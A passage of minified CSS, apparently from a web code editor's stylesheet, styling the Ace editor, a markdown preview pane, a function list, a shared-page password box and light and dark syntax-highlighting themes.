a.select:hover i.font-icon,div.tools a:active i.font-icon{color:#fff;}div.tools .right .btn{padding:1px 7px;margin-right:-1px;height:20px;background:#eee;margin-top:2px;float:right;line-height:20px;}div.tools .line{border-left:1px solid #ccc;margin:5px 4px;float:left;height:16px;}ul.dropbox{color:#666;font-size:1em;position:absolute;top:27px;z-index:1000;margin:0px;}ul.dropbox li{list-style:none;padding:2px 0 2px 10px;line-height:20px;cursor:pointer;}ul.dropbox .lihover,ul.dropbox li.this{background:#63acff;color:#fff;}#fontsize{display:none;left:166px;width:100px;min-width:100px;}#codetheme{display:none;left:173px;}body div#ace_settingsmenu,body div#kbshortcutmenu{background-color:#000;opacity:0.75;filter:alpha(opacity=75);color:#FFF;box-shadow:-5px 4px 5px rgba(0,0,0,0.2);-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}.edit_content .resize{position:absolute;background:#000;cursor:col-resize;margin-left:-5px;background-color:#f6f6f6;background-color:rgba(0,0,0,0.01);background:url("../../../images/common/resize.png") 0px 50% no-repeat;height:100%;width:10px;left:100%;z-index:100;}.edit_content .resize:hover{background-color:#eee;background-color:rgba(0,0,0,0.1);}.edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(0,0,0,0.2);}.edit_content.markdown_full .ace_editor{width:100% !important;}.edit_content.markdown_full .resize{display:none;}.edit_content.markdown_full .edit_right_frame{width:0 !important;}.edit_right_frame{position:fixed;top:59px;right:0px;width:40%;bottom:0;background:#fff;border-left:1px solid #ddd;z-index:99;overflow:visible;}.edit_right_frame .mask_view{z-index:9999;opacity:0.05;filter:alpha(opacity=5);}.edit_right_frame .right_main{position:absolute;width:100%;height:100%;overflow:auto;}.edit_right_frame .preview_frame{position:absolute;top:0px;right:0;bottom:0;width:100%;background:#fff;}.edit_right_frame .preview_markdown_tool,.edit_right_frame .function_list_tool,.edit_right_frame .preview_url_tool{width:100%;height:25px;border-bottom:1px solid #ddd;}.edit_right_frame .preview_markdown_tool .box,.edit_right_frame .function_list_tool .box,.edit_right_frame .preview_url_tool .box{width:105px;height:25px;position:absolute;top:0px;right:0px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a,.edit_right_frame .function_list_tool .box a,.edit_right_frame .preview_url_tool .box a{font-weight:800;text-decoration:none;border:1px solid rgba(200,200,200,0.01);display:inline-block;margin-top:1px;margin-left:2px;font-size:1.25em;position:relative;padding:0px 5px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a .font-icon,.edit_right_frame .function_list_tool .box a .font-icon,.edit_right_frame .preview_url_tool .box a .font-icon{color:#999;}.edit_right_frame .preview_markdown_tool .box a:hover,.edit_right_frame .function_list_tool .box a:hover,.edit_right_frame .preview_url_tool .box a:hover{border:1px solid #ccc;box-shadow:0 0 20px rgba(0,0,0,0.2) inset;}.edit_right_frame .preview_url_frame .preview_frame_content{position:absolute;right:0px;left:0px;bottom:0px;overflow:auto;top:25px;background:#fff;}.edit_right_frame .preview_url_frame .input_content{position:absolute;height:27px;right:100px;left:0px;}.edit_right_frame .preview_url_frame .input_content input{height:23px;border:none;border-right:1px solid #ddd;width:100%;padding-right:10px;text-shadow:1px 1px 3px #CCE;outline:none;color:#888;font-size:1.15em;box-shadow:#ddd 0px 0px 30px inset;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.edit_right_frame .preview_url_frame .input_content input:focus{box-shadow:#bbb 0px 0px 30px inset;}.edit_right_frame .preview_url_frame .box{border-left:1px solid #eee;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool{border:none;height:inherit;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box{position:fixed;bottom:0.1px;-webkit-transform:translateZ(0);z-index:999;top:70px;right:25px;background:rgba(200,200,200,0.2);opacity:0.6;filter:alpha(opacity=60);width:35px;height:140px;border:none;border-radius:0;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box .content{position:absolute;width:35px;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a{margin:0;padding:0;display:block;text-align:center;height:35px;border:none;line-height:35px;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a .font-icon{color:#444;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover{border:none;background:#bbb;color:#000;box-shadow:none;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover .font-icon{color:#222;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar{position:fixed;bottom:0.1px;z-index:999;-webkit-transform:translateZ(0);height:29px;margin-top:5px;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;left:420px;width:360px;top:-6px;border-left:1px solid #ddd;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .content{position:absolute;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools{width:26px;height:100%;display:inline-block;text-decoration:none;text-align:center;margin:0;line-height:30px;float:left;padding:0;color:#666;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{width:10px;color:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split:hover{background:none;}.edit_right_frame .preview_markdown_frame .markdown_preview{padding:10px 35px 100px 35px;}.edit_right_frame .preview_markdown_frame .markdown_help{width:650px;background:#fff;height:80%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_help h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:20px;}.edit_right_frame .preview_markdown_frame .markdown_help .content{height:100%;overflow:auto;margin:10px;padding-bottom:20px;margin-right:0;}.edit_right_frame .preview_markdown_frame .markdown_help p{margin:0;}.edit_right_frame .preview_markdown_frame .markdown_help h5{font-weight:800;}.edit_right_frame .preview_markdown_frame .markdown_help pre{border-radius:4px;background:#eee;color:#777;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-size:12px;}.edit_right_frame .preview_markdown_frame .markdown_help .col-md-4{width:35%;padding-bottom:70px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box{width:300px;background:#fff;height:60%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_menu_box h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:22px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .content{height:100%;overflow:auto;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu ul{padding:10px 10px 80px 10px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li{font-size:1em;list-style:none;text-overflow:ellipsis;white-space:nowrap;line-height:1.0em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a{display:block;text-decoration:none;padding:5px 6px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a:hover{background:#def;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h2{margin-left:2em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h3{margin-left:3.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h4{margin-left:5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h5{margin-left:6.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h6{margin-left:8em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .tools_markdown_more{position:absolute;top:20px;right:10px;}.edit_right_frame .preview_markdown_frame .markdown_setting{width:160px;height:auto;background:#fff;border:1px solid #ddd;z-index:10;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:175px;right:60px;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_setting ul{padding:0;margin:10px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li{width:100%;height:25px;list-style:none;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li.line{height:1px;background:#ddd;margin:5px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a,.edit_right_frame .preview_markdown_frame .markdown_setting ul a:visited{display:block;line-height:25px;text-decoration:none;padding:0 0 0 20px;color:#444;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a i{padding-right:5px;color:#888;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover{background:#63acff;color:#fff;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover i{color:#fff;}.edit_right_frame .function_list .function_list_tool{height:100px;width:100%;}.edit_right_frame .function_search{position:absolute;top:29px;left:0;height:25px;right:5px;}.edit_right_frame .function_search input{padding:4px 2%;color:#222;margin:0 3%;width:90%;border-radius:3px;}.edit_right_frame .function_search .search_reset{position:absolute;top:5px;right:5%;font-size:1.25em;color:#aaa;display:block;cursor:pointer;}.edit_right_frame .function_search .search_reset:hover{color:#888;}.edit_right_frame .frame_right .function_list_parent{top:57px;}.edit_right_frame .function_list_box .cell b{color:#378eef;}.edit_right_frame .function_list_box .row_select .cell b{color:#ff9;}.edit_right_frame .function_list_tool{border:none;}.edit_right_frame .function_list_tool .box{width:100%;right:0px;overflow:hidden;background:#fff;}.edit_right_frame .function_list_tool .box span{display:block;padding:1px 10px;float:left;line-height:27px;}.edit_right_frame .function_list_tool .box a{display:block;float:right;margin-right:5px;}.edit_right_frame .function_list_parent{position:absolute;top:55px;right:0;bottom:15px;width:100%;background:#fff;}.edit_right_frame .function_list_box{padding:5px;-webkit-text-size-adjust:none;overflow:auto;margin-right:2px;height:100%;}.edit_right_frame .function_list_box .row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .cell_null{padding:10px 5px;color:#999;text-align:center;}.edit_right_frame .function_list_box .list_row{padding:2px 5px;cursor:default;font-family:Tahoma, Arial;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.edit_right_frame .function_list_box .list_row.row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .list_row.row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .list_row .icon{font-family:FontAwesome;font-style:normal;width:20px;display:inline-block;text-decoration:inherit;font-size:10px;-webkit-transform:scale(0.8,0.8);transform:scale(0.8,0.8);}.edit_right_frame .function_list_box .list_row span{cursor:default;}.edit_right_frame .function_list_box .list_row.mark .icon{color:#666;}.edit_right_frame .function_list_box .list_row.mark .icon:before{content:"\f005";}.edit_right_frame .function_list_box .list_row.mark,.edit_right_frame .function_list_box .list_row.class{background:#eee;font-weight:800;border-radius:3px;}.edit_right_frame .function_list_box .list_row.mark.row_select,.edit_right_frame .function_list_box .list_row.class.row_select{color:#fff;background:#63acff;}.edit_right_frame .function_list_box .list_row.row_select .icon{color:#fff !important;}.edit_right_frame .function_list_box .list_row.class .icon{color:#888;}.edit_right_frame .function_list_box .list_row.class .icon:before{content:"\f0c9";}.edit_right_frame .function_list_box .list_row.function .icon{color:#378eef;}.edit_right_frame .function_list_box .list_row.function .icon:before{content:"\f111";}.edit_right_frame .function_list_box .list_row.function_define .icon{color:#98c878;}.edit_right_frame .function_list_box .list_row.function_value .icon{color:#ffb16d;}.edit_right_frame .function_list_box .list_row.function_var .icon{color:#008641;}.share_page_passowrd{margin:0 auto;width:220px;height:120p;margin-top:17%;border:1px solid #ddd;border-top:3px solid #666;padding:40px;border-radius:5px;background:#f6f6f6;}.share_page_passowrd b{font-size:20px;display:block;margin-bottom:20px;}.share_page_passowrd input{height:32px;display:inline-block;width:150px;padding:0px 5px;margin-right:10px;margin-bottom:10px;}.share_page_error{margin:0 auto;width:400px;margin-top:17%;border:1px solid #eee;padding:30px;border-radius:5px;background:#f6f6f6;font-size:1.25em;}.share_page_error b{font-size:25px;display:block;margin-bottom:20px;}.edit_content.markdown_full_page pre.ace_editor{width:100% !important;}.edit_content.markdown_full_page .resize{display:none;}.edit_content.markdown_full_page .edit_right_frame{top:-60px;left:-1px;right:0;width:100% !important;bottom:0;}.edit_content.markdown_full_page .edit_right_frame .right_main{width:100% !important;}.edit_content.markdown_full_page .edit_right_frame .display_markdown{width:100% !important;background:none;}.edit_content.markdown_full_page .edit_right_frame .markdown_preview{width:80%;padding:50px 0;}.edit_content.markdown_full_page .edit_right_frame i.icon-resize-full:before{content:"\f066";}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{width:80%;left:10%;border:none;border-bottom:1px solid #ddd;background:rgba(240,240,240,0.5);}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{display:none;}.edit_content.markdown_full_page a[markdown_action=tool_markdown_full]{pointer-events:none;}.edit_content.markdown_full_page a[markdown_action=tool_markdown_full] i.font-icon{color:#ccc !important;}.edit_content.markdown_full a[markdown_action=tool_markdown_max]{display:none;pointer-events:none;}.edit_content.markdown_full a[markdown_action=tool_markdown_max] i.font-icon{color:#ccc !important;}.markdown_preview{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;text-align:justify;margin:auto;font-size:13px;line-height:1.6em;color:#555;}.markdown_preview article,.markdown_preview footer,.markdown_preview header,.markdown_preview nav{width:700px;margin:0 auto;}.markdown_preview article{margin-top:4em;margin-bottom:4em;min-height:400px;}.markdown_preview footer{margin-bottom:50px;}.markdown_preview video{margin:2em 0;border:1px solid #ddd;}.markdown_preview nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0;}.markdown_preview nav p{margin:0;}.markdown_preview details{margin:15px 0;}.markdown_preview summary{cursor:pointer;padding:4px;}.markdown_preview summary:focus{outline:none;box-shadow:0 0 3px #2196F3;}.markdown_preview .h1,.markdown_preview h1{font-size:2.2em;}.markdown_preview .h2,.markdown_preview h2{font-size:1.9em;}.markdown_preview .h3,.markdown_preview h3{font-size:1.6em;}.markdown_preview .h4,.markdown_preview h4{font-size:1.3em;}.markdown_preview .h5,.markdown_preview h5{font-size:1.2em;}.markdown_preview .h6,.markdown_preview h6{font-size:1.1em;}.markdown_preview .h1,.markdown_preview .h2,.markdown_preview .h3,.markdown_preview .h4,.markdown_preview .h5,.markdown_preview .h6,.markdown_preview h1,.markdown_preview h2,.markdown_preview h3,.markdown_preview h4,.markdown_preview h5,.markdown_preview h6{font-family:inherit;font-weight:500;color:#333;line-height:1.5em;padding:0;margin:1em 0 0.5em 0;}.markdown_preview .h1,.markdown_preview h1{letter-spacing:1px;border-bottom:1px solid #ddd;}.markdown_preview .h2,.markdown_preview h2{padding-bottom:0.15em;}.markdown_preview p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;word-wrap:break-word;}.markdown_preview blockquote{margin-left:1em;padding:10px 20px;margin:10px 0 20px 0;border-left:10px solid #ddd;background:#f6f6f6;}.markdown_preview blockquote p{margin:0;}.markdown_preview code{padding:2px 4px;color:#c7254e;background-color:#f9f2f4;border-radius:4px;}.markdown_preview pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px;}.markdown_preview code,.markdown_preview kbd,.markdown_preview pre,.markdown_preview samp{font-family:Consolas, 'Liberation Mono', 'Ubuntu Mono', Menlo, Courier, sans-serif;}.markdown_preview pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display:block;}.markdown_preview a{color:#1980e6;text-decoration:none;}.markdown_preview a:hover{text-decoration:underline;}.markdown_preview a img{border:none;}.markdown_preview img{max-width:100%;}.markdown_preview h1 a,.markdown_preview h1 a:hover{text-decoration:none;}.markdown_preview hr{border:0 none;height:4px;margin:1.2em 0;background:rgba(0,0,0,0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;}@media screen and (min-width:900px){.markdown_preview body{ width:900px;}}.markdown_preview ul,.markdown_preview ol{padding:0.5em 0 0.5em 3em;}.markdown_preview table{border-collapse:collapse;border-spacing:0;margin-bottom:20px;}.markdown_preview table thead{background:#eee;}.markdown_preview table td,.markdown_preview table th{padding:.5em;border:1px solid #ddd;line-height:1.5;}.markdown_preview .markdown-latex{text-align:center;margin-bottom:1.5em;font-size:1.6em;color:#000;}.markdown_preview .latex-inline .katex-display{display:inline-block;font-size:0.8em;}.markdown_preview .markdown_menu ul{padding:0 10px 20px 20px;}.markdown_preview .markdown_menu li{font-size:14px;list-style:none;line-height:1.8em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.markdown_preview .markdown_menu_h2{padding-left:2em;}.markdown_preview .markdown_menu_h3{padding-left:4em;}.markdown_preview .markdown_menu_h4{padding-left:6em;}.markdown_preview .markdown_menu_h5{padding-left:8em;}.markdown_preview .markdown_menu_h6{padding-left:10em;}.markdown_preview div .hljs{color:#666;}.markdown_preview .hljs-comment,.markdown_preview .hljs-quote{color:#8e908c;}.markdown_preview .hljs-variable,.markdown_preview .hljs-template-variable,.markdown_preview .hljs-tag,.markdown_preview .hljs-name,.markdown_preview .hljs-selector-id,.markdown_preview .hljs-selector-class,.markdown_preview .hljs-regexp,.markdown_preview .hljs-deletion{color:#c82829;}.markdown_preview .hljs-number,.markdown_preview .hljs-built_in,.markdown_preview .hljs-builtin-name,.markdown_preview .hljs-literal,.markdown_preview .hljs-type,.markdown_preview .hljs-params,.markdown_preview .hljs-meta,.markdown_preview .hljs-link{color:#f5871f;}.markdown_preview .hljs-attribute{color:#eab700;}.markdown_preview .hljs-string,.markdown_preview .hljs-symbol,.markdown_preview .hljs-bullet,.markdown_preview .hljs-addition{color:#718c00;}.markdown_preview .hljs-title,.markdown_preview .hljs-section{color:#4271ae;}.markdown_preview .hljs-keyword,.markdown_preview .hljs-selector-tag{color:#8959a8;}.markdown_preview .hljs{display:block;overflow-x:auto;color:#4d4d4c;padding:0.5em;}.markdown_preview .hljs-emphasis{font-style:italic;}.markdown_preview .hljs-strong{font-weight:bold;}.code_theme_black .markdown_preview{background:#333;color:#bbb;}.code_theme_black .markdown_preview blockquote{border-color:#555;background:#444;}.code_theme_black .markdown_preview pre,.code_theme_black .markdown_preview code,.code_theme_black .markdown_preview pre code{color:#777;border-color:#444;background:#444;}.code_theme_black .markdown_preview code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}.code_theme_black .markdown_preview a{color:#FFA500;}.code_theme_black .markdown_preview hr{border-bottom:1px solid #444;background-image:none;}.code_theme_black .markdown_preview .h1,.code_theme_black .markdown_preview .h2,.code_theme_black .markdown_preview .h3,.code_theme_black .markdown_preview .h4,.code_theme_black .markdown_preview .h5,.code_theme_black .markdown_preview .h6,.code_theme_black .markdown_preview h1,.code_theme_black .markdown_preview h2,.code_theme_black .markdown_preview h3,.code_theme_black .markdown_preview h4,.code_theme_black .markdown_preview h5,.code_theme_black .markdown_preview h6{color:#fff;}.code_theme_black .markdown_preview table thead{background:#3e3e3e;}.code_theme_black .markdown_preview table td,.code_theme_black .markdown_preview table th{border-color:#444;}.code_theme_black .markdown_preview .markdown-latex{color:#fff;}.code_theme_black .markdown_preview div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f;}.code_theme_black .markdown_preview .hljs,.code_theme_black .markdown_preview .hljs-subst,.code_theme_black .markdown_preview .hljs-tag{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-emphasis,.code_theme_black .markdown_preview .hljs-strong{color:#a8a8a2;}.code_theme_black .markdown_preview .hljs-bullet,.code_theme_black .markdown_preview .hljs-link,.code_theme_black .markdown_preview .hljs-literal,.code_theme_black .markdown_preview .hljs-number,.code_theme_black .markdown_preview .hljs-quote,.code_theme_black .markdown_preview .hljs-regexp{color:#ae81ff;}.code_theme_black .markdown_preview .hljs-code,.code_theme_black .markdown_preview .hljs-section,.code_theme_black .markdown_preview .hljs-selector-class,.code_theme_black .markdown_preview .hljs-title{color:#a6e22e;}.code_theme_black .markdown_preview .hljs-strong{font-weight:700;}.code_theme_black .markdown_preview .hljs-emphasis{font-style:italic;}.code_theme_black .markdown_preview .hljs-attr,.code_theme_black .markdown_preview .hljs-keyword,.code_theme_black .markdown_preview .hljs-name,.code_theme_black .markdown_preview .hljs-selector-tag{color:#f92672;}.code_theme_black .markdown_preview .hljs-attribute,.code_theme_black .markdown_preview .hljs-symbol{color:#66d9ef;}.code_theme_black .markdown_preview .hljs-class .hljs-title,.code_theme_black .markdown_preview .hljs-params{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-addition,.code_theme_black .markdown_preview .hljs-built_in,.code_theme_black .markdown_preview .hljs-builtin-name,.code_theme_black .markdown_preview .hljs-selector-attr,.code_theme_black .markdown_preview .hljs-selector-id,.code_theme_black .markdown_preview .hljs-selector-pseudo,.code_theme_black .markdown_preview .hljs-string,.code_theme_black .markdown_preview .hljs-template-variable,.code_theme_black .markdown_preview .hljs-type,.code_theme_black .markdown_preview .hljs-variable{color:#e6db74;}.code_theme_black .markdown_preview .hljs-comment,.code_theme_black .markdown_preview .hljs-deletion,.code_theme_black .markdown_preview .hljs-meta{color:#75715e;}.ace_optionsMenuEntry{height:22px;}.ace_optionsMenuCommand{float:left;width:210px;}.context-menu-list .context-menu-item.line_top{border-top:1px solid #eee !important;}body .ace_editor{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;margin:0;padding:0;position:absolute;height:100%;left:0px;right:0%;background:#fff;}body .ace_editor .ace_scrollbar{right:3px;}body .ace_editor .ace_hidden-cursors .ace_cursor{opacity:0.7;}body .ace_editor.ace-tomorrow .ace_cursor{color:#3c3434;}body .ace_editor.ace_multiselect .ace_cursor{border-left-width:2px;}body .ace_editor .ace_indent-guide{height:103%;display:inline-block;}body .ace_editor .ace_line{line-height:1.3em;line-height:inherit \9;}body .ace_editor span.ace_heading{font-weight:800;}body .ace_editor.ace_autocomplete{padding:0px;box-shadow:0px 2px 10px rgba(0,0,0,0.3);margin-left:5px;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px 0 rgba(0,0,0,0), inset -1px -1px 0 rgba(0,0,0,0);font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;background:#fff !important;}body .ace_editor.ace_autocomplete .ace_scrollbar-v{padding:0px;right:0px;}body .ace_editor.ace_autocomplete .ace_line{padding-left:6px;line-height:1.5em;}body .ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line{background:#63acff !important;border-radius:0px;z-index:10;}body .ace_editor.ace_autocomplete .ace_line-hover{border:none;margin-top:0;background:#e6e6e6;border-radius:0px;}body .ace_editor.ace_autocomplete .ace_selected{color:#fff;}body .ace_editor.ace_autocomplete .ace_completion-highlight{color:#2882be;}body .ace_editor.ace_autocomplete .ace_rightAlignedText{color:#aaa;}body .ace_editor.ace_autocomplete .ace_selected .ace_completion-highlight{color:#cfe8ff !important;}body .ace_editor.ace_autocomplete .ace_selected .ace_rightAlignedText{color:#fff;z-index:10;opacity:0.5;filter:alpha(opacity=50);font-size:0.9em;}body .ace_editor .ace_content .ace_marker-layer .ace_selected-word{background:rgba(210,235,255,0.11);border:1px solid #65b5f5;z-index:10;}body .ace_editor .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FF9800;background:#FFC107;}body .ace_editor .ace_content .ace_text-layer .ace_keyword{text-shadow:0 0 0.2px;}body .ace_editor.ace-github{color:#444;}body .ace_editor.ace-kuroir{background:#f9f9f9;}body .ace_editor.ace-solarized-light{background:#FDF6E3;}body .ace_editor.ace-ambiance{background:#202020;}body .ace_editor.ace-monokai{background:#272822;}body .ace_editor.ace-idle-fing{background:#333;}body .ace_editor.ace-pastel-on-dark{background:#2C2828;}body .ace_editor.ace-solarized-dark{background:#002B36;}body .ace_editor.ace-twilight{background:#141414;}body .ace_editor.ace-idle-fingers{background:#333;}body .ace_editor.ace-tomorrow-night-blue{background:#002451;}body .ace_editor.ace-tomorrow-night-eighties{background:#2d2d2d;}body .ace_editor.ace-eclipse .ace_gutter{border-right:3px solid #6ce26c !important;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_selected-word{background:rgba(255,255,255,0.1);border:1px solid #4179A7;z-index:10;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FFEB3B;background:#6b6154;}div.ace_tooltip{font-size:1em;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;border:1px solid #e7de81;background-color:#f9f2ad;padding-bottom:6px;color:#333;background-image:none;filter:none;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px transparent, inset -1px -1px transparent;}div.ace_tooltip hr{border:none;border-bottom:1px solid #e7de81;margin:6px 0;}.search_content .ace_search{font-size:13px;border-radius:0px 0px 0px 5px;border-right:0 none;overflow:visible;position:fixed;right:0;background-color:#eee;color:#444;width:100%;max-width:inherit;padding-top:5px;border-top:1px solid #ccc;bottom:0px;}.search_content .ace_search .ace_search_options{text-align:right;position:absolute;top:4px;margin:3px 0 0 20px;}.search_content .ace_search .ace_searchbtn_close{background-position:50% -10%;position:absolute;right:10px;width:18px;height:18px;}.search_content .ace_search .ace_searchbtn_close:hover{background-position:50% 120%;}.search_content .ace_search .ace_search_form,.search_content .ace_search .ace_replace_form{float:inherit;border:none;height:25px;}.search_content .ace_search .ace_search_form .search_info{position:absolute;right:25px;height:25px;line-height:25px;opacity:0.6;filter:alpha(opacity=60);}.search_content .ace_search .ace_search_form .search_at_index,.search_content .ace_search .ace_search_form 